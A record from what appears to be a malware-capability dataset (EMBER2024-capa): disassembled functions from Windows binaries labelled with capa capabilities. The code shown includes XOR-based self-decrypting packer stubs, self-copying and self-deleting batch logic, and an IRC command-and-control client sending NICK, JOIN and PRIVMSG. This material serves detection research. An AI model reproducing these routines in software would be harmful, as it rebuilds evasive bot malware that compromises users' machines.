joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403354
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
cmp dword [0x2803900], 0x594
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], eax
jne 0x4033a0
push 0x402df8
push 0x402e04
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x402e18
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x80b4a8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x80b4ac]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.0040334d
mov eax, dword [0x80b4b0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x80b4b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4033df
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x2803900], 0xc
mov dword [ebp - 4], eax
jne 0x403441
push ebx
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc4c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x2803900]
cmp eax, 0xfa9
jne 0x40345d
mov dword [0x2802e9c], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40346a
mov dword [0x280284c], ebx
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, esi
shr edx, cl
lea eax, [edi + esi]
mov dword [ebp - 0x18], eax
mov dword [0x2802e98], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x2803900], 0x213
mov dword [ebp - 0x18], edx
jne 0x4034aa
push 0x402e30
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00403347
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x61c88647
mov eax, edx
shr eax, cl
lea esi, [edi + edx]
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x20]
jne 0x4033dc
cmp dword [0x2803900], 0xa6d
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
mov dword [esi], eax
pop edi
jne 0x403514
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [esi + 4], edx
pop esi
pop ebx
leave
ret 4
Function at 0x40351d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x2803900]
mov ecx, dword [0x2802850]
sub esp, 0x544
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403590
mov edi, ecx
mov ebx, eax
cmp dword [0x2803900], 0x959
jne 0x403584
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x402e44
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.00403354
add edi, 8
dec ebx
jne 0x403541
pop edi
pop esi
pop ebx
leave
ret
Function at 0x425eda
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x425ee9
pop dword [ebp - 0x48]
mov eax, 0x425ee9
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xd9c791bd
sub dword [ebp - 0x58], 0x8b754c72
mov dword [ebp - 0x54], 0x371a1281
sub dword [ebp - 0x54], 0x4e6c63c
mov dword [ebp - 0x50], 0xedab0965
sub dword [ebp - 0x50], 0xa15ec537
mov dword [ebp - 0x4c], 0x1c5e0b3b
add dword [ebp - 0x4c], 0xe3a1f4c5
lea eax, [ebp - 0x58]
push eax
mov eax, 0xfe74ec35
sub eax, 0xfe313a21
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x6726da56
sub dword [ebp - 0x58], 0xf2b47100
mov dword [ebp - 0x54], 0xf726ba03
add dword [ebp - 0x54], 0x4a45a772
mov dword [ebp - 0x50], 0x27a0984c
add dword [ebp - 0x50], 0x3bced420
mov dword [ebp - 0x4c], 0xa4bda9f4
add dword [ebp - 0x4c], 0x5b42560c
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xeb671c76
add eax, 0x14dc95fa
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x4403c
push 0
call eax
mov ecx, 0xe9d94958
sub ecx, 0xe9d9031f
mov esi, eax
mov edi, 0xd19d326
add edi, 0xf32c7ada
add edi, dword [ebp - 0x48]
mov edx, 0xa7942c9a
sub edx, 0x1914c2b3
add dword [ebp - 0xc], 0xe9ddba6c
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x72e33d6c
add ebx, edx
sub dword [ebp - 0x18], 0xf6640694
mov dword [esi], ebx
sub dword [ebp - 4], ecx
add esi, 0xf3f4889f
sub esi, 0xf3f4889b
add edi, 0x3779d7c6
add edi, 0xc886283e
loop 0x426006
add eax, 0x10bb7
xor ebx, ebx
add ebx, eax
add eax, 0x61aca7e2
sub eax, 0x61aca7dd
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x389d7570
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x2186489
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x402c80
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push 0x64
push 0
push 0x409a50
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x409a50
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
call fcn.00403680
add esp, 4
push eax
push 0x409a50
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x409a50
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402d94
push 0x80
push 0x409a50
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x406898
push 0x409a50
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402d94
mov dword [ebp - 0x110], 0
jmp 0x402d51
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x110], edx
jge 0x402d85
push 0xa
call fcn.00403680
add esp, 4
push eax
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
jmp 0x402d42
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 0x409a50
mov esp, ebp
pop ebp
ret
Function at 0x4030d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40316b
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x403107
shr eax, 1
jmp 0x40310e
shr eax, 1
xor eax, 0xedb88320
loop 0x4030fc
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x4030f4
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x403128
not eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x40316d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403600
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00403ed0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403620
or eax, 0xffffffff
jmp 0x40367b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40365a
mov eax, 0xfffffffe
jmp 0x40367b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403678
mov eax, 0xfffffffd
jmp 0x40367b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4037f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov edx, 5
mov word [ebp - 0x28], dx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esp, ebp
pop ebp
ret

Function at 0x403a40
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x108]
push eax
push str._swinmgr.txt
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x403ae4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403ae8
xor al, al
jmp 0x403af7
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x403b00
Capabilities:
Create process on windows
Get common file path
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xa
call fcn.00403680
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str..bat
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x40690c
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403c4a
push 0x80
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.:repeat_n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x40691c
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push str.if_exist___s__goto_repeat_n
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
push str.del___s__n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x403c50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x802a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str._x86_
lea edx, [ebp - 0x108]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403ca3
mov al, 1
jmp 0x403ca5
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x403cb0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x14
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
push 0
push 0x409ab4
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00403a40
movzx ecx, al
test ecx, ecx
je 0x403cf5
push 0x406960
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x406964
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x14
lea edx, [ebp - 0x14]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x403d31
lea eax, [ebp - 0x14]
push eax
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x403d43
push 0x406968
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x40696c
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
push 8
call fcn.00403680
add esp, 4
push eax
push 0x409ab4
call sub.MSVCRT.dll_strcat
add esp, 8
mov eax, 0x409ab4
mov esp, ebp
pop ebp
ret

Function at 0x403e70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
je 0x403eb6
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403ebe
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x403ed0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x403f0f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403f02
xor eax, eax
jmp 0x403f12
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov byte [ebp - 0x240], 0
push 0x3f
push 0
lea eax, [ebp - 0x23f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x403fb8
push 0x3f
push str.NICK
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push 0x4082d0
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x4040d6
cmp dword [ebp + 0xc], 1
jne 0x404001
push 0x3f
push str.USER
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s_____x__:_s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
cmp dword [ebp + 0xc], 2
jne 0x404046
push 0x3f
push str.PONG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push str._s__s_r_n
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x4040d6
cmp dword [ebp + 0xc], 3
jne 0x40408c
push 0x3f
push str.JOIN
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s__s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
cmp dword [ebp + 0xc], 4
jne 0x4040d2
push 0x3f
push str.PRIVMSG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x240]
push ecx
push str._s__s_:_s_r_n
push 0x1ff
lea edx, [ebp - 0x200]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
xor eax, eax
jmp 0x40412e
push 0x40
push 0
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x200]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x244], eax
push 0x200
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x244]
mov esp, ebp
pop ebp
ret
Function at 0x4041a0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x4098b4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
jmp 0x4041dd
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jae 0x404201
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + eax*4 - 0x10c]
cmp ecx, dword [ebp + 8]
jne 0x4041ff
jmp 0x404201
jmp 0x4041ce
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jne 0x404237
cmp dword [ebp - 0x110], 0x40
jae 0x404237
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x10c], ecx
mov edx, dword [ebp - 0x110]
add edx, 1
mov dword [ebp - 0x110], edx
xor eax, eax
jne 0x4041c2
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esp, ebp
pop ebp
ret
Function at 0x404ba0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
cmp dword [ebp + 8], 0
jbe 0x404c8e
mov dword [ebp - 4], 0
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call fcn.004041a0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x404c43
cmp dword [ebp - 4], 0x7ff
jne 0x404bf0
jmp 0x404c43
push 0
push 1
mov edx, dword [ebp - 4]
lea eax, [ebp + edx - 0x810]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x404c16
xor eax, eax
jmp 0x404c91
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movsx ecx, byte [ebp + eax - 0x811]
cmp ecx, 0xd
je 0x404c3f
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x811]
cmp eax, 0xa
jne 0x404c41
jmp 0x404c43
jmp 0x404bd0
cmp dword [ebp - 8], 0
jg 0x404c50
mov eax, dword [ebp - 8]
jmp 0x404c91
cmp dword [ebp - 4], 2
jge 0x404c5d
jmp 0x404ba9
mov ecx, dword [ebp - 4]
mov byte [ebp + ecx - 0x811], 0
lea edx, [ebp - 0x810]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404990
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x404c89
mov eax, dword [ebp - 8]
jmp 0x404c91
jmp 0x404ba9
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x405910
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x40c], 0
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40595c
jmp 0x405986
cmp dword [ebp - 4], 0
jne 0x405964
jmp 0x405986
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp - 0x40c]
push eax
call fcn.00405290
add esp, 0xc
mov dword [ebp - 0x40c], eax
jmp 0x405933
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x40c]
mov esp, ebp
pop ebp
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.abgn
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
